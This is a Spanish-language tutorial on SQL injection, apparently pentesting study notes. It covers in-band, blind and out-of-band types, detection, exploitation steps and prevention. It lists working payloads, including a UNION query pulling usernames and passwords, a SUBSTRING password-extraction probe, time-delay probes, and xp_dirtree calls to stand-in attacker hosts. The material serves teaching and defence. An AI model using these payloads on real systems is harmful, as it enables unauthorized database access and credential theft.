SQL Injection (SQLi)

SQLi es una vulnerabilidad que permite a un atacante interferir con las queries que una aplicación hace a una base de datos.

Por lo general, permite a un atacante ver datos que normalmente no puede recuperar. Esto puede incluir datos pertenecientes a otros usuarios o cualquier otro dato al que la propia aplicación pueda acceder. En muchos casos, un atacante puede modificar o eliminar estos datos, provocando cambios persistentes en el contenido o el comportamiento de la aplicación.

En algunas situaciones, un atacante puede escalar este ataque para comprometer el servidor u otra infraestructura de back-end, o realizar un ataque de denegación de servicio.

Impacto de un ataque de SQLi

Dentro del impacto que puede producir este ataque, se encuentra:

  • Acceso no autorizado a datos sensibles: se podría usar para obtener información sensible, como, usuarios, contraseñas, datos de tarjetas de crédito, entre otros. Puede ser usado para modificar los datos de la DB, o incluso, eliminarlos.

  • Bypass de portales de login: se podría realizar un bypass de los portales de login, sin tener que indicar el usuario y/o la contraseña.

  • RCE: se podrían ejecutar comandos en el sistema operativo.

Tipos de SQLi

Cuando hablamos de SQLi, podemos separarlo en 3 tipos:

  • In-Band (Classic): este tipo de inyección, por lo general se explota en base a los mensajes de Error o usando UNION.

  • Inferential (Blind): a diferencia del anterior, no se presentan mensajes de error, por lo tanto, se trabaja usando Boolean y Time.

  • Out-of-Band

In-Band SQLi

  • In-Band SQLi ocurre cuando el atacante usa el mismo canal de comunicación para lanzar el ataque y recopilar el resultado del ataque. Los datos recuperados se presentan directamente en la aplicación web.

  • A diferencia de otras categorías, es más fácil de explotar.

  • Existen dos tipos comunes de In-Band SQLi:

    • Error-based SQLi: es una técnica que obliga a la DB a generar un error, dando al atacante información sobre esta.

    • Union-based SQLi: es una técnica que aprovecha el operador UNION de SQL para combinar los resultados de dos consultas en un único conjunto de resultados.

Ejemplo de Error-based SQLi:

  • Input:

www.target.com/app.php?id='
  • Output:

You have an error in your SQL sytax, check the manual that corresponds to your MySQL server version...

Ejemplo de Union-based SQLi:

  • Input:

www.target.com/app.php?id=' UNION SELECT username, password FROM users--
  • Output:

carlos
afibh9cjnkuwcsfobs7h
administrator
tn8f921skp5dzoy7hxpk

Inferential (Blind) SQLi

  • Vulnerabilidad de SQLi donde no hay una transferencia real de datos a través de la aplicación web.

  • Tan peligroso como la In-Band SQLi.

    • Un atacante puede ser capaz de reconstruir la información enviando solicitudes particulares y observando el comportamiento resultante del servidor DB.

  • Se tarda más en explotar que la In-Band SQLi.

  • Existen dos tipos comunes de Blind SQLi:

    • Boolean-based SQLi: es una técnica que utiliza condiciones booleanas para devolver un resultado diferente dependiendo de si la consulta devuelve un resultado TRUE o FALSE.

    • Time-based SQLi: es una técnica que se basa en que la DB se detiene durante un período de tiempo específico y luego devuelve los resultados, lo que indica una ejecución exitosa de la consulta SQL. En este caso, al momento de extraer datos, si las letras que estamos probando corresponden a las que se encuentran en la DB, se demorará lo especificado en la query.

Ejemplo Boolean-based SQLi:

  • URL de ejemplo:

http://www.target.com/app.php?id=1
  • Back-end Query:

select title from product where id=1
  • Payload FALSE:

www.target.com/app.php?id=1 and 1=2
  • Payload TRUE:

www.target.com/app.php?id=1 and 1=1

Ejemplo de Boolean-based SQLi con los siguientes datos:

  • Payload para validar si la primera letra de la password es una S, en caso de no retornar nada en la página, es FALSE (por lo tanto, no inicia con una S):

www.target.com/app.php?id=1 and SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's'

Out-of-Band (OAST) SQLi

Vulnerabilidad que consiste en activar una conexión de red out-of-band a un sistema que controlas:

  • Es poco común

  • Se pueden usar protocolos como: DNS, HTTP o SMTP

Ejemplo de payload:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

Detección de la vulnerabilidad SQLi

Al momento de realizar un pentesting, es necesario mapear la aplicación en búsqueda de puntos de inyección.

Podemos hacer fuzzing en la aplicación usando lo siguiente:

  • Enviar una comilla simple (') o una comilla doble (") en búsqueda de errores o anomalías.

  • Enviar alguna sintaxis específica de SQL que evalúe el valor base (original) del punto de entrada y un valor diferente, y buscar diferencias sistemáticas en las respuestas de la aplicación (ejemplo: enviar un carácter en ascii, ASCII(97)).

  • Enviar condiciones booleanas como OR 1=1 y OR 1=2, en búsqueda de diferentes respuestas de parte de la aplicación (ejemplo: ' OR 1=1 -- -).

  • Enviar payloads diseñados para desencadenar delays cuando se ejecutan dentro de una consulta SQL y así, buscar diferencias en el tiempo que toma en responder (ejemplo: '; waitfor delay ('0:0:20')-- -).

  • Enviar payloads de OAST diseñados para desencadenar una interacción de red fuera de banda cuando se ejecutan dentro de una consulta SQL y monitorear las interacciones resultantes (ejemplo: exec master..xp_dirtree '//attacker.net/a').

¿Cómo explotar la vulnerabilidad SQLi?

Explotando un Error-based SQLi

  • Enviar una comilla simple (') o una comilla doble (") para producir algún error o anomalía.

  • Diferentes caracteres pueden producir diferentes errores.

Explotando un Union-based SQLi

Para poder usar UNION, existen dos reglas:

  • El número y orden de columnas debe ser el mismo en todas las queries.

  • El tipo de datos debe ser compatible.

Para la explotación, debemos:

  • Identificar el número de columnas usando ORDER BY, en el cual, incrementaremos el número de la serie hasta que se nos presente algún error o se observen diferencias en el comportamiento de la aplicación:

' order by 1-- -
' order by 2-- -
' order by 3-- -
  • También es posible identificar el número de columnas usando valores NULL. A diferencia de ORDER BY, cuando la aplicación deje de dar error, es la cantidad correcta de columnas:

' UNION SELECT NULL-- -
' UNION SELECT NULL, NULL-- -
  • Luego de detectar la cantidad de columnas, es necesario identificar el tipo de datos de cada columna. Si el tipo no es el correcto, la aplicación mostrará un error:

' UNION SELECT 'a', NULL-- -
' UNION SELECT NULL, 'a'-- -
  • Por último, usar el operador UNION para obtener información de la DB.

Explotando un Boolean-based Blind SQLi

  • Enviar una condición booleana que evalúe un False y no la respuesta.

  • Enviar una condición booleana que se evalúe un True y anotar la respuesta.

  • Escribir un programa que use sentencias condicionales para preguntar a la DB una serie de preguntas de True/False y monitorear las respuestas.

Explotando un Time-based Blind SQLi

  • Enviar un payload que pause la aplicación un tiempo determinado.

  • Escribir un programa que use sentencias condicionales para preguntar a la DB una serie de preguntas de True/False y monitorear los tiempos de las respuestas.

Explotando un Out-of-band SQLi

  • Enviar payloads OAST diseñados para desencadenar una interacción de red out-of-band cuando se ejecute una consulta SQL, y monitorear por cualquier interacción.

  • Dependiendo del SQLi, usar diferentes métodos para exfiltrar datos.

Herramientas de explotación automatizadas

¿Cómo prevenir ataques de SQLi?

Existen diversas formas de prevenir esta vulnerabilidad. Puede ser dividido en dos tipos de defensas:

  • Defensa primaria:

    • Opción 1: uso de declaraciones preparadas (Parametrizar queries). La construcción de una declaración SQL se puede realizar en dos pasos:

      • La aplicación especifica la estructura de las queries con marcadores de posición para cada entrada del usuario.

      • La aplicación especifica el contenido de cada marcador de posición.

    • Opción 2: uso de procedimientos almacenados (Parcial):

      • Un procedimiento almacenado es un lote de instrucciones agrupadas y almacenadas en la base de datos.

      • No siempre está a salvo de la inyección de SQL, aún debe llamarse de forma parametrizada.

    • Opción 3: validación de inputs usando whitelist (Parcial):

      • Definición de qué valores están autorizados. Todo lo demás es considerado no autorizado.

      • Útil para valores que no se pueden especificar como marcadores de posición de parámetros, como el nombre de la tabla.

    • Opción 4: escapar de todas las entradas proporcionadas por el usuario (Parcial):

      • Solo debe usarse como último recurso.

  • Defensas adicionales:

    • Hacer cumplir el privilegio mínimo:

      • La aplicación debe utilizar el nivel de privilegios más bajo posible al acceder a la base de datos.

      • Cualquier funcionalidad predeterminada innecesaria en la base de datos debe eliminarse o deshabilitarse.

      • Asegurar que se aplique el punto de referencia CIS para la base de datos en uso.

      • Todos los parches de seguridad emitidos por el proveedor deben aplicarse de manera oportuna.

    • Realización de la validación de entrada de whitelist como defensa secundaria.

Last updated